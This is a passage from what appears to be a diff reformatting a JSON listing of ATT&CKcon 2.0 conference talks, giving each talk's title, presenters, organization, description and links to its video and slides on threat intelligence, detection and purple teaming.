Finally, we’ll conclude with our analysis of the current threat landscape and trends, and highlight how we anticipate it will shape ATT&CK going forward.", - "video": "https://youtu.be/z47g13s2xVA?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-the-worlds-most-dangerous-attckers-robert-lipovsky-eset-193701776" - }, { - "title": "Lessons in Purple Teaming with ATT&CK", - "presenters": [{ - "names": ["Daniel Wyleczuk-Stern"], - "organization": "Praetorian" - }, { - "names": ["Matt Southworth"], - "organization": "Priceline, Booking Holdings" - }], - "description": "For the past year, Praetorian and Priceline have been working together to conduct a series of Purple Team exercises to improve Priceline’s Detection and Response. These exercises utilized tactics, techniques, and procedures (TTPs) from the MITRE ATT&CK framework to baseline Priceline’s telemetry and analysis capabilities. Praetorian leveraged their recently released Metasploit Framework fork to rapidly automate basic TTPs before working cooperatively with Priceline for more advanced tests.

Priceline then did the heavy lift of ingesting that data, prioritizing shortcomings, and making strategic and tactical decisions to improve their security program. Through the use of ATT&CK, they were able to trace specific lines of effort back to various TTPs. This traceability helped provide support for various decisions as well as facilitated with prioritization. ATT&CK also provided a common taxonomy when working with vendors when gaps in detection were identified. Finally, ATT&CK helped Priceline track improvements through later rounds of testing to help measure the effectiveness of various improvements.", - "video": "https://youtu.be/LydtAdCL114?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-lessons-in-purple-team-testing-with-mitre-attck-daniel-wyleczukstern-praetorian-and-matt-southworth-priceline" - }, { - "title": "ATT&CK Updates – CAR and Analytics", - "presenters": [{ - "names": ["Ivan Kirillov"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Ivan Kirillov covering CAR and analytics.", - "video": "https://youtu.be/t6joWR3mqDk?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-mitre-updates-cyber-analytics-repository-car-ivan-kirillov-mitre" - }, { - "title": "Lightning Talk: A Love Song for Heat Maps", - "presenters": [{ - "names": ["Brian Donohue"], - "organization": "Red Canary" - }], - "description": "How do you decide where to allocate your security resources and budget? Maybe you've got seasoned security professionals making decisions based on experience and intuition, maybe your decisions are driven by insurance or compliance requirements, or maybe they're completely arbitrary. Whatever the case, we can all associate ATT&CK techniques and data sources with the events we prevent, detect, or respond to. This talk will explore how security professionals can turn their internal security data into community intelligence that enumerates the threats that occur most often, enabling us all to establish data-based priorities that guide the way we spend our money and time—whether we’re buying, developing, or selling security tools.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=59" - }, { - "title": "Lightning Talk: Operationalize ATT&CK with Boring Dashboards", - "presenters": [{ - "names": ["Dan Cole"], - "organization": "ThreatConnect Inc" - }], - "description": "Vendors often showcase dashboards with 3D rotating globes, animated bar graphs, and enough colors to fill a Crayola 64 pack. In this talk, I'll show how a simple dashboard of dull, boring, non-flashy, inanimate DATATABLES can be used (along with ATT&CK and a decent intel requirements process) to help analysts stay focused.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=366" - }, { - "title": "Lightning Talk: MITRE ATT&CK Maturity Model Mappings from In the Field Observations", - "presenters": [{ - "names": ["Stephan Chenette"], - "organization": "AttackIQ" - }], - "description": "In this lightning talk, I'll present in the field observations of what elements of ATT&CK organizations can put into action at each maturity level of their security program to start or continue to incorporate and operationalize the MITRE ATT&CK framework.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=648" - }, { - "title": "Lightning Talk: ATT&CK Poker", - "presenters": [{ - "names": ["Ivan Ninichuck"], - "organization": "Cyber Knights" - }], - "description": "My talk will be a 5 minute introduction to the concept of applying game theory to our use of Att&ck in predicting adversary actions. I am currently designing a poker style card game along these principles and would like to show off what I have so far.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=956", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-poker-lightning-talk-ivan-ninichuck-cyber-knights" - }, { - "title": "Lightning Talk: Tracking and measuring your ATT&CK coverage with ATT&CK2Jira", - "presenters": [{ - "names": ["Mauricio Velazco"] - }], - "description": "Tracking and measuring coverage against the ATT&CK framework can be a challenging task. This lighting talk will introduce Att&ck2Jira, a tool that leverages Jira and the Att&ck navigator that can help blue teams automate this effort. No more spreadsheets!", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1199", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-tracking-and-measuring-attck-coverage-with-attack2jira-lightning-talk-mauricio-velazco" - }, { - "title": "Lightning Talk: STIX in the Mud", - "presenters": [{ - "names": ["Bryson Bort"], - "organization": "SCYTHE" - }], - "description": "CTI today = static solutions of yesterday. STIX currently adequately supports today’s requirements. What is if we could operationalize attacks (ATT&CK) with it?", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1483", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-stix-in-the-mud-lightning-talk-bryson-bort-scythe-193684762" - }, { - "title": "Lightning Talk: ATT&CK, Intelligence, and Micro-Purple Teaming", - "presenters": [{ - "names": ["Emma MacMullan"], - "organization": "Federal Reserve" - }], - "description": "Intel-driven Purple Teaming can enhance simulated attacks by using ATT&CK to create real-time tactical information on current threat actor behaviors, as well as validate existing detections and identify gaps in coverage. This lightning talk will be a snapshot into an ad-hoc side project that showed you don’t need a big report or a lot of man hours to ask some interesting questions; you just need a little spontaneity, a single TTP, and of course, ATT&CK.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1796" - }, { - "title": "Lightning Talk: #GuardrailsoftheGalaxy: The Prologue", - "presenters": [{ - "names": ["Nick Carr"], - "organization": "FireEye" - }], - "description": "Providing a quick survey of execution guardrails, environmental keying, and announcing the 2019 nominees for best in-the-wild adversary use of guardrailing.", - "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=2098" - }, { - "title": "ATT&CK Updates – PRE Integration", - "presenters": [{ - "names": ["Adam Pennington"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Adam Pennington covering PRE-ATT&CK integration.", - "video": "https://youtu.be/fEYL0MDvc44?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-pre-attck-integration-adam-pennington-mitre" - }, - { - "title": "Closing Remarks", - "presenters": [{ - "names": ["Katie Nickels", "Blake Strom"], - "organization": "MITRE" - }], - "description": "ATT&CK Threat Intelligence Lead Katie Nickels and ATT&CK Lead Blake Strom wrap up the conference and share the results of the ATT&CKcon 2.0 Birds of a Feather sessions.", - "video": "https://youtu.be/mDKBEsuZvh4?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" - } + { + "title": "Welcome", + "presenters": [ + { + "names": [ + "Katie Nickels" + ], + "organization": "MITRE" + } + ], + "description": "ATT&CK Threat Intelligence Lead Katie Nickels welcomes attendees and introduces the members of the ATT&CK team.", + "video": "https://youtu.be/Xkzv53j39ug?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" + }, + { + "title": "The Friends We Made Along the Way, Keynote Address", + "presenters": [ + { + "names": [ + "Toni Gidwani" + ], + "organization": "Google" + } + ], + "description": "In the keynote from ATT&CKcon 2.0, Toni Gidwani from Google’s Threat Analysis Group presents \"The Friends We Made Along the Way.\" The talk focuses on the purpose of intelligence, to create a decision advantage, and the partnerships that are necessary to achieve that purpose.", + "video": "https://youtu.be/ba5jh8uhTBU?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-keynote-address-the-friends-we-made-along-the-way-toni-gidwani-google" + }, + { + "title": "State of the ATT&CK", + "presenters": [ + { + "names": [ + "Blake Strom" + ], + "organization": "MITRE" + } + ], + "description": "MITRE ATT&CK Lead Blake Strom updates the community on what’s new in ATT&CK since ATT&CKcon 2018 and some of what to expect in the coming year. This talk includes details on ATT&CK for Cloud, the new Impact Tactic, structured mitigations, and the upcoming shift to sub-techniques.", + "video": "https://youtu.be/qAPC4NVJvrI?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-state-of-the-attck-blake-strom-mitre-193680470" + }, + { + "title": "Using Threat Intelligence to Focus ATT&CK Activities", + "presenters": [ + { + "names": [ + "David Westin", + "Andy Kettell" + ], + "organization": "Nationwide" + } + ], + "description": "In October 2018, Nationwide began its MITRE ATT&CK journey. Nationwide looked at a number of different approaches to getting started, but it wasn’t until they prioritized efforts based on threat actors likely to target the finance/insurance industry that things started to click. Ultimately, Nationwide focused on 27 high concern threat actors targeting their industry, reducing the overall number of techniques from 240+ to 91. With this manageable chunk of techniques, Nationwide was able to test, analyze, and provide recommendations for improving its detection and mitigation capabilities. Nationwide is continuing to keep threat actor focus at the heart of its ATT&CK efforts, leading to prioritization of remediation actions, integration into penetration testing, and selection of security tools.", + "video": "https://youtu.be/V--wxuSEMD0?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-using-threat-intelligence-to-focus-attck-activities-david-westin-and-andy-kettell-nationwide" + }, + { + "title": "Prioritizing ATT&CK Informed Defenses the CIS Way", + "presenters": [ + { + "names": [ + "Philippe Langlois" + ], + "organization": "Verizon DBIR" + }, + { + "names": [ + "Joshua Franklin" + ], + "organization": "Center for Internet Security" + } + ], + "description": "In a world of limited resources, organizations have to be strategic and meticulous in their planning and selection of security controls and the MITRE ATT&CK model has become an important piece for categorizing and understanding adversary techniques and contextualizing our own defenses. However, there still underlies a difficult question, where should organizations start and how should they prioritize their cybersecurity efforts? Join CIS as we explore our attempt to tackle this problem through the use of our community, content and real-world threat data collected as part of the Multi-State Information Sharing and Analysis Center (MS-ISAC). Participants should look forward to learning how to prioritize their security efforts and leverage the process for their own data and threats.", + "video": "https://youtu.be/pHUnuNb6gGs?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-prioritizing-attck-informed-defenses-the-cis-way-philippe-langlois-verizon-and-joshua-franklin-cis" + }, + { + "title": "Alertable Techniques for Linux using ATT&CK", + "presenters": [ + { + "names": [ + "Tony Lambert" + ], + "organization": "Red Canary" + } + ], + "description": "Community members continually ask, should I have detection capabilities across every technique in ATT&CK? This question inevitably leads to the same conclusion that not every technique is alertable and not all of them provide the same value for immediate detection. In this session we’ll discuss the concept of alertable detections using Linux ATT&CK techniques as a case study. We’ll introduce decision criteria we’ve learned through experience to illustrate the challenges, and we’ll recommend specific techniques that work well with an alert-driven workflow.", + "video": "https://youtu.be/7X6Pjtx4Y8M?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-alertable-techniques-for-linux-using-attck-tony-lambert-red-canary-193702628" + }, + { + "title": "ATT&CK Updates – TRAM", + "presenters": [ + { + "names": [ + "Jackie Lasky", + "Sarah Yoder" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own Jackie Lasky and Sarah Yoder covering Threat Report ATT&CK Mapping (TRAM).", + "video": "https://youtu.be/jVkMd9mAE-U?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-tram-jackie-lasky-and-sarah-yoder-mitre-193677940" + }, + { + "title": "Raiders of the MITRE Framework: How to Build Your Own Threat Library", + "presenters": [ + { + "names": [ + "Valentina Palacin", + "Ruth Esmeralda Barbacil" + ], + "organization": "Deloitte" + } + ], + "description": "It's the year 2019 and the internet has been around long enough to be filled with what seems to be \"ancient\" data. Digging through, classifying and analyzing everything sometimes makes you feel a lot like Indiana Jones searching for the right clues in a moving puzzle. But how could you move through the caves without getting buried under piles of data rubble? How might anyone revisit and study the data from the past to transform it into actionable information for the present? In this talk we are going to show you how a threat intel Indiana Jones analyst should tackle these issues in order to find the treasure of the Threat Library. We will show you how we used the MITRE ATT&CK Framework as our book of secrets for turning dusty old Internet artifacts into a library of actionable Threat Intelligence.", + "video": "https://youtu.be/AsSAsBdkns0?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-raiders-of-the-mitre-framework-how-to-build-your-own-threat-library-valentina-palacin-and-ruth-esmerelda-barbacil-deloitte" + }, + { + "title": "Climbing the ATT&CK Ladder: How a Threat Hunting Team Has Upgraded Its Use of ATT&CK", + "presenters": [ + { + "names": [ + "Karl Scheuerman", + "Piotr Wojtyla" + ], + "organization": "CrowdStrike" + } + ], + "description": "CrowdStrike’s OverWatch threat hunting team has continued to mature in its use of the ATT&CK framework to categorize and track targeted adversary behavior. This presentation will build on our talk from last year’s ATT&CKcon, where we shared tactic/technique trends and unique examples observed in the wild. Since that time, we have taken a number of steps to enhance our usage of ATT&CK, including:

By using practices like those outlined above, we have been able to continue building what is likely the most comprehensive and detailed library of targeted intrusion data from the wild that is mapped to ATT&CK. As such, the presentation will also share significant trends and techniques from the intrusions we’ve analyzed over the past year.", + "video": "https://youtu.be/hAsKp43AZmM?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" + }, + { + "title": "From Susceptible to ATT&CK: A Threat Hunting Story", + "presenters": [ + { + "names": [ + "Chris Thayer" + ], + "organization": "Mastercard" + } + ], + "description": "The story of one man's crusade to convince the Senior Management of a fortune 500 company that security resources were needed beyond the perimeter, and the role ATT&CK played in those decisions. This talk documents the creation and persuasion required to create a successful threat hunting program at an enterprise level, and how the Mitre ATT&CK framework made this possible for one investigator, in his spare time, to prove the program's worth to senior management within 1 year of creation.", + "video": "https://youtu.be/bWB6qWoFT_M?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-from-susceptible-to-attck-a-threat-hunting-story-chris-thayer-mastercard-193701967" + }, + { + "title": "ATT&CK Updates – Sightings", + "presenters": [ + { + "names": [ + "John Wunder" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own John Wunder covering ATT&CK Sightings.", + "video": "https://youtu.be/OKx9f7QrFBQ?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-sightings-john-wunder-mitre-193678381" + }, + { + "title": "Zeek-based ATT&CK Metrics & Gap Analysis", + "presenters": [ + { + "names": [ + "Allan Thomson" + ], + "organization": "LookingGlass Cyber Solutions" + } + ], + "description": "Today many organizations are using Bro (newly named Zeek) for network security monitor as it provides a powerful network analysis framework. This presentation will describe how to leverage Zeek to report on ATT&CK TTPs, raw events and other detectable activities. Key take-aways include how to report on sightings and occurrences of ATT&CK TTPs and events providing both metrics and gap analysis to inform security operations teams on where their defense may require improvement.", + "video": "https://youtu.be/roO5ZMxYDRM?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-zeekbased-attck-metrics-and-gap-analysis-allan-thomson-looklingglass-cyber-solutions" + }, + { + "title": "attckr: A Toolkit for Analysis & Visualization of ATT&CK Incident Data for Service Providers & Organizations", + "presenters": [ + { + "names": [ + "Bob Rudis" + ], + "organization": "Rapid7" + } + ], + "description": "The ATT&CK framework provides a standardized way for organizations to record and share attacker techniques used at each stage in attacker campaigns. Having and sharing this discrete, normalized attacker behavior is great, but these normalized bundles of incident events can also be used to identify areas of improvement in both incident response teams as well as by vendors who provide tools/solutions to triage and manage incidents.

This talk will introduce {attckr}: an R package and application that provides programmatic, command-line, and interactive tools to analyze and visualize incident ATT&CK metrics. Attendees will see real-life (i.e. using real, anonymized incident data) examples of how to look across an ATT&CK incident corpus to identify trends (or outliers), support the development of ATT&CK incident baseline metrics, and develop reports and visualizations to assist in communicating operational performance, threat event frequency & type distributions for risk analysis, and identification of strengths and weaknesses in detection capability.", + "video": "https://www.youtube.com/watch?v=iayII8CCGUI&list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&index=18&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attckr-a-toolkit-for-analysis-and-visualization-of-attck-incident-data-for-service-providers-and-organizations-bob-rudis-rapid7" + }, + { + "title": "MITRE ATT&CK Assessment from a Data Perspective", + "presenters": [ + { + "names": [ + "Olaf Hartong" + ], + "organization": "Deloitte" + } + ], + "description": "MITRE ATT&CK has quickly become the industry standard for referencing techniques. All though the framework is a great and valuable asset it is still lacking actionable detail on may levels to most people. I've bridged that gap by building a relatively simple assessment toolkit to visualize your potential coverage from the data already present in your environment, your mitigative measures and your detection content. The toolkit will help you focus your efforts based on your data and your goal.", + "video": "https://youtu.be/vTvUrY7jE5k?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-coverage-assessment-from-a-data-perspective-olaf-hartong-deloitte-193702186" + }, + { + "title": "Threat-Informed Defense: Where do we go from here?", + "presenters": [ + { + "names": [ + "Richard Struse" + ], + "organization": "MITRE" + } + ], + "description": "Richard Struse explores the concept of a threat-informed defense and talks about ways of moving the cyber security community forward.", + "video": "https://youtu.be/IKogtrsN214?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-threat-informed-defense-where-do-we-go-from-here-richard-struse-mitre" + }, + { + "title": "AMITT: ATT&CK-based Standards for Misinformation Threat Sharing", + "presenters": [ + { + "names": [ + "Sara-Jayne Terp", + "John Gray" + ], + "organization": "Credibility Coalition MisinfoSec Working Group" + } + ], + "description": "State actors, private influence operators and grassroots groups are exploiting the openness and reach of the Internet to manipulate populations at a distance. They are extending a decades-long struggle for “hearts and minds” via propaganda, influence operations and information warfare, often in the form of coordinated incidents that are part of longer-timescale narrative-based campaigns.

The Credibility Coalition is an interdisciplinary community committed to addressing the proliferation and amplification of misinformation online, through transparent and collaborative research. Its MisinfoSec working group develops information security-based standards to promote a more formal and rigorous treatment of 1) detecting misinformation-based attacks and 2) devising methods to protect against misinformation-based attacks. Specifically, we have adapted and extended frameworks used to describe information security incidents, for use in ISACs, ISAOs and other groups sharing misinformation threats and responses.

In this talk, we discuss misinformation and why stage-based frameworks like ATT&CK are appropriate for it. We describe the AMITT (Adversarial Misinformation and Influence Tactics and Techniques) misinformation response framework and its roots in and deliberate compatibility with ATT&CK, its creation, relationships with other models, its components (including ways, means, and ends to achieve influence goals) and potential uses.", + "video": "https://youtu.be/vIxqd0Qt_D8?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-amitt-attckbased-standards-for-misinformation-threat-sharing-sara-terp-and-john-gray-credibility-coalition-193687162" + }, + { + "title": "Flashback with ATT&CK: Exploring Malware History with ATT&CK (2003-2018)", + "presenters": [ + { + "names": [ + "Kris Oosthoek" + ], + "organization": "Delft University of Technology" + } + ], + "description": "Attackers keep innovating their TTPs to circumvent established defenses, so gaining insight into attacker innovation is fundamental. Our Twitter feeds are saturated with helpful reports daily, but how does this relate to trends and developments within the threat ecosystem as a whole? Take a step back, relax and get an ATT&CK-based overview of 15 years TTP evolution to inform your defense.

This presentation will discuss ATT&CK techniques found in 950+ unique Windows malware families as part of an academic research project. With the malware harvested from an unbiased and reputable source, a representative view on 15 years of evolution in the malware field is ensured. For each ATT&CK tactic, the talk provides insight into trends and shifts in real-world adversary behavior. It will also highlight how a malware analysis automation pipeline can introduce biases into your CTI and based on that, best practices on how ATT&CK can be used to ensure CTI accuracy. This entertaining presentation provides practical takeaways that inform and help prioritize your threat defense.", + "video": "https://youtu.be/v5CoPkeVQCI?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-flashback-with-attck-exploring-malware-history-with-attck-20032018-kris-oosthoek-delft-university" + }, + { + "title": "Tell Tall Tales With ATT&CK!", + "presenters": [ + { + "names": [ + "James Lerud" + ], + "organization": "Titania Solutions Group" + } + ], + "description": "Once upon a time there was a security expert with all kinds of ATT&CK data. There were Atomic tests, breach simulations, and metrics abound! Our hero knew he could mold the data to illustrate a story of triumph. He would deliver magnificent slides and graphs with color and shape that, even the dull c-suite would know he was great. This presentation will teach the audience how to torture ATT&CK data until it confesses. Manipulation of ordinal scales, dirty data, playing into biases, nothing is off limits if it makes us look good. Follow the advice here and you will be ready to tell tall tales with ATT&CK… or for the true hearted tell boring realistic stories.", + "video": "https://youtu.be/XVGXfFcUvYc?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-tell-tall-tales-with-attck-james-lerud-titania-solutions-group-193686781" + }, + { + "title": "ATT&CK Updates – ICS", + "presenters": [ + { + "names": [ + "Otis Alexander" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own Otis Alexander covering ATT&CK for ICS.", + "video": "https://youtu.be/a9-p4tMsp14?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-ics-otis-alexander-mitre-193601017" + }, + { + "title": "Ready to ATT&CK? Bring Your Own Data (BYOD) and Validate Your Data Analytics!", + "presenters": [ + { + "names": [ + "Roberto Rodriguez" + ], + "organization": "Cybersecurity Specialist" + }, + { + "names": [ + "Jose Luis Rodriguez" + ], + "organization": "Student" + } + ], + "description": "\"How do we collect the right data for the detection of specific adversarial techniques?\" That is a very important and common question for organizations planning on leveraging ATT&CK for their defensive strategy. One approach might be reading the data sources metadata available per each technique in the ATT&CK framework. That is a good first step, and it is already helping organizations to integrate the framework with their current security controls. However, as you go deeper into the specific recommended data sources per technique, it is very important to understand that not every technique variation requires the same data sources. In addition, there needs to be a way to validate if what we are collecting aligns with the data analytics being created. In this talk, we will share our current experiences contributing to the \"Data Sources\" section of ATT&CK framework and the Cyber Analytics Repository (CAR) project. We will show how to use pre-captured datasets from our open source project named Mordor to expedite simulation of adversarial techniques and validation of data analytics. In addition, we will show how we leverage Jupyter Notebooks to develop and test data analytics from projects like CAR to finish the validation process and provide recommendations.", + "video": "https://youtu.be/eM0c_Gil-38?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-ready-to-attck-bring-your-own-data-byod-and-validate-your-data-analytics-roberto-rodriguez-aws-and-jose-rodriguez-nvcc" + }, + { + "title": "Prioritizing Data Sources for Minimum Viable Detection", + "presenters": [ + { + "names": [ + "Keith McCammon" + ], + "organization": "Red Canary" + } + ], + "description": "MITRE ATT&CK® is more than a glossary of security terminology that offers us a common language to communicate about threats. While each technique includes a description, it also includes a list of the requisite data sources necessary to observe an adversary leveraging that technique—transforming ATT&CK from a nebulous collection of definitions into a practical tool for improving detection coverage. However, in the same way that you can’t simply build alerts for every technique, you can’t gain access to every data source. How do you effectively prioritize data sources so that you are getting the best returns on your visibility investments?", + "video": "https://youtu.be/dnHdxlwqgME?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-prioritizing-data-sources-for-minimum-viable-detection-keith-mccammon-red-canary-193703088" + }, + { + "title": "ATT&CK Updates – Controls Mapping", + "presenters": [ + { + "names": [ + "Mike Long" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own Mike Long covering controls mapping.", + "video": "https://youtu.be/mdGWojl0Ay8?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-controls-mapping-mike-long-mitre" + }, + { + "title": "The World’s Most Dangerous ATT&CKers", + "presenters": [ + { + "names": [ + "Robert Lipovský" + ], + "organization": "ESET" + } + ], + "description": "As a research-oriented cybersecurity company that regularly discloses detailed analyses of cyberattacks to clients and/or the public, the introduction of MITRE ATT&CK as a common language to describe adversary techniques and tactics was certainly welcome.

We’ll begin our presentation by introducing exactly how and why we started using ATT&CK, providing examples of mappings in our research publications, as well as the role it plays in enhancing our EDR solutions. We’ll also describe our experience with contributing to the ATT&CK knowledge base.

The main part of the talk will be example-driven. Having played a key role in analyzing some of the most significant cyberattacks in history, we’ll go over the most interesting tactics, techniques, and procedures (TTPs) of the adversaries, mapping them to ATT&CK.

Specifically, we’ll analyze the TTPs of Sednit (a.k.a. APT28), the group reportedly responsible for the Democratic National Committee hack that affected the US 2016 elections, and Telebots (a.k.a. Sandworm), the group behind the first malware-driven electricity blackouts (BlackEnergy and Industroyer) and, the most damaging cyberattack ever (NotPetya).

Finally, we’ll conclude with our analysis of the current threat landscape and trends, and highlight how we anticipate it will shape ATT&CK going forward.", + "video": "https://youtu.be/z47g13s2xVA?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-the-worlds-most-dangerous-attckers-robert-lipovsky-eset-193701776" + }, + { + "title": "Lessons in Purple Teaming with ATT&CK", + "presenters": [ + { + "names": [ + "Daniel Wyleczuk-Stern" + ], + "organization": "Praetorian" + }, + { + "names": [ + "Matt Southworth" + ], + "organization": "Priceline, Booking Holdings" + } + ], + "description": "For the past year, Praetorian and Priceline have been working together to conduct a series of Purple Team exercises to improve Priceline’s Detection and Response. These exercises utilized tactics, techniques, and procedures (TTPs) from the MITRE ATT&CK framework to baseline Priceline’s telemetry and analysis capabilities. Praetorian leveraged their recently released Metasploit Framework fork to rapidly automate basic TTPs before working cooperatively with Priceline for more advanced tests.

Priceline then did the heavy lift of ingesting that data, prioritizing shortcomings, and making strategic and tactical decisions to improve their security program. Through the use of ATT&CK, they were able to trace specific lines of effort back to various TTPs. This traceability helped provide support for various decisions as well as facilitated with prioritization. ATT&CK also provided a common taxonomy when working with vendors when gaps in detection were identified. Finally, ATT&CK helped Priceline track improvements through later rounds of testing to help measure the effectiveness of various improvements.", + "video": "https://youtu.be/LydtAdCL114?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-lessons-in-purple-team-testing-with-mitre-attck-daniel-wyleczukstern-praetorian-and-matt-southworth-priceline" + }, + { + "title": "ATT&CK Updates – CAR and Analytics", + "presenters": [ + { + "names": [ + "Ivan Kirillov" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own Ivan Kirillov covering CAR and analytics.", + "video": "https://youtu.be/t6joWR3mqDk?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-mitre-updates-cyber-analytics-repository-car-ivan-kirillov-mitre" + }, + { + "title": "Lightning Talk: A Love Song for Heat Maps", + "presenters": [ + { + "names": [ + "Brian Donohue" + ], + "organization": "Red Canary" + } + ], + "description": "How do you decide where to allocate your security resources and budget? Maybe you've got seasoned security professionals making decisions based on experience and intuition, maybe your decisions are driven by insurance or compliance requirements, or maybe they're completely arbitrary. Whatever the case, we can all associate ATT&CK techniques and data sources with the events we prevent, detect, or respond to. This talk will explore how security professionals can turn their internal security data into community intelligence that enumerates the threats that occur most often, enabling us all to establish data-based priorities that guide the way we spend our money and time—whether we’re buying, developing, or selling security tools.", + "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=59" + }, + { + "title": "Lightning Talk: Operationalize ATT&CK with Boring Dashboards", + "presenters": [ + { + "names": [ + "Dan Cole" + ], + "organization": "ThreatConnect Inc" + } + ], + "description": "Vendors often showcase dashboards with 3D rotating globes, animated bar graphs, and enough colors to fill a Crayola 64 pack. In this talk, I'll show how a simple dashboard of dull, boring, non-flashy, inanimate DATATABLES can be used (along with ATT&CK and a decent intel requirements process) to help analysts stay focused.", + "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=366" + }, + { + "title": "Lightning Talk: MITRE ATT&CK Maturity Model Mappings from In the Field Observations", + "presenters": [ + { + "names": [ + "Stephan Chenette" + ], + "organization": "AttackIQ" + } + ], + "description": "In this lightning talk, I'll present in the field observations of what elements of ATT&CK organizations can put into action at each maturity level of their security program to start or continue to incorporate and operationalize the MITRE ATT&CK framework.", + "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=648" + }, + { + "title": "Lightning Talk: ATT&CK Poker", + "presenters": [ + { + "names": [ + "Ivan Ninichuck" + ], + "organization": "Cyber Knights" + } + ], + "description": "My talk will be a 5 minute introduction to the concept of applying game theory to our use of Att&ck in predicting adversary actions. I am currently designing a poker style card game along these principles and would like to show off what I have so far.", + "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=956", + "slides": 